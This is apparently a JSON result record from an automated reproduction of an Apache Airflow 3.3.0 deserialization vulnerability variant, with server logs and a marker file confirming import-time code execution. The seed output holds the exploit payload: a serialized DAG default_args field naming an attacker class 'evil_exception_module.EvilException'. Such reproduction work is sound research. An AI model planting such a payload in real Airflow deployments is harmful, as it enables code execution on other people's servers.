{ "variant_name": "AIRFLOW_EXC_SER serialized DAG field import_string class path", "airflow_version_expected": "3.3.0", "dag_id": "ghsa_2943_airflow_exc_variant_3_3_0", "port": 18212, "airflow_home": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/vuln_variant/artifacts/airflow_exc_3.3.0_variant/airflow_home", "marker": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/vuln_variant/artifacts/airflow_exc_3.3.0_variant/api_server_airflow_exc_marker.txt", "endpoint_url": "http://127.0.0.1:18212/ui/grid/structure/ghsa_2943_airflow_exc_variant_3_3_0?offset=0&limit=100", "service_started": true, "healthcheck_passed": true, "target_reached": true, "http_status": "200", "import_side_effect_observed": true, "exception_type": null, "exception_message": null, "source_identity_fragment": "{\"airflow_version\": \"3.3.0\", \"airflow_file\": \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/__init__.py\", \"python\": \"3.14.4 (main, Apr 8 2026, 04:02:31) [GCC 15.2.0]\"}", "seed_stdout": "{\n \"seeded_dag_id\": \"ghsa_2943_airflow_exc_variant_3_3_0\",\n \"dag_version_id\": \"019f3ec0-5308-7ba7-803a-f41631ce3ac0\",\n \"serialized_default_args\": {\n \"__type\": \"airflow_exc_ser\",\n \"__var\": {\n \"__type\": \"dict\",\n \"__var\": {\n \"exc_cls_name\": \"evil_exception_module.EvilException\",\n \"args\": [],\n \"kwargs\": {\n \"__type\": \"dict\",\n \"__var\": {\n \"origin\": \"serialized_dag_default_args\"\n }\n }\n }\n }\n }\n}\n", "seed_stderr_tail": "", "api_server_pid": 17602, "health_http_status": "200", "curl_stderr": "", "http_response_excerpt": "[{\"id\":\"t1\",\"label\":\"t1\"}]", "http_headers_excerpt": "HTTP/1.1 200 OK\ndate: Tue, 07 Jul 2026 22:43:42 GMT\nserver: uvicorn\ncontent-length: 26\ncontent-type: application/json\nvary: Accept-Encoding\n\n", "api_server_returncode": 0, "marker_content": "AIRFLOW_EXC_SER import-time code execution in Airflow API server; pid=17602\n", "server_log_tail": "ilename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/cli/cli_config.py lineno=868\n2026-07-07T22:43:40.854173Z [info ] setup plugin alembic.autogenerate.schemas [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:43:40.854302Z [info ] setup plugin alembic.autogenerate.tables [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:43:40.854383Z [info ] setup plugin alembic.autogenerate.types [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:43:40.854450Z [info ] setup plugin alembic.autogenerate.constraints [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:43:40.854520Z [info ] setup plugin alembic.autogenerate.defaults [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:43:40.854561Z [info ] setup plugin alembic.autogenerate.comments [alembic.runtime.plugins] loc=plugins.py:37\n ____________ _____________\n ____ |__( )_________ __/__ /________ __\n____ /| |_ /__ ___/_ /_ __ /_ __ \\_ | /| / /\n___ ___ | / _ / _ __/ _ / / /_/ /_ |/ |/ /\n _/_/ |_/_/ /_/ /_/ /_/ \\____/____/|__/\nRunning the API server with uvicorn:\nApps: all\nWorkers: 1\nHost: 127.0.0.1:18212\nTimeout: 120\nLogfiles: -\n=================================================================\n2026-07-07T22:43:41.252393Z [warning ] 'HTTP_422_UNPROCESSABLE_ENTITY' is deprecated. Use 'HTTP_422_UNPROCESSABLE_CONTENT' instead. [py.warnings] category=StarletteDeprecationWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/api_fastapi/common/exceptions.py lineno=132\n2026-07-07T22:43:41.348713Z [warning ] 'HTTP_422_UNPROCESSABLE_ENTITY' is deprecated. Use 'HTTP_422_UNPROCESSABLE_CONTENT' instead. [py.warnings] category=StarletteDeprecationWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/api_fastapi/core_api/routes/public/__init__.py lineno=29\n2026-07-07T22:43:42.588326Z [info ] Started server process [17602] [uvicorn.error] loc=server.py:91\n2026-07-07T22:43:42.588466Z [info ] Waiting for application startup. [uvicorn.error] loc=on.py:48\n2026-07-07T22:43:42.589132Z [info ] Application startup complete. [uvicorn.error] loc=on.py:62\n2026-07-07T22:43:42.590538Z [info ] Uvicorn running on http://127.0.0.1:18212 (Press CTRL+C to quit) [uvicorn.error] loc=server.py:222\n2026-07-07T22:43:42.975107Z [warning ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=147\n2026-07-07T22:43:42.985523Z [warning ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=368\n2026-07-07T22:43:42.996486Z [info ] request finished [http.access] client_addr=127.0.0.1:39394 duration_us=11946 loc=http_access_log.py:130 method=GET path=/ui/grid/structure/ghsa_2943_airflow_exc_variant_3_3_0 query='offset=0&limit=100' status_code=200\n2026-07-07T22:43:43.092345Z [info ] Shutting down [uvicorn.error] loc=server.py:270\n2026-07-07T22:43:43.193127Z [info ] Waiting for application shutdown. [uvicorn.error] loc=on.py:67\n2026-07-07T22:43:43.193738Z [info ] Application shutdown complete. [uvicorn.error] loc=on.py:76\n2026-07-07T22:43:43.193860Z [info ] Finished server process [17602] [uvicorn.error] loc=server.py:101\n" }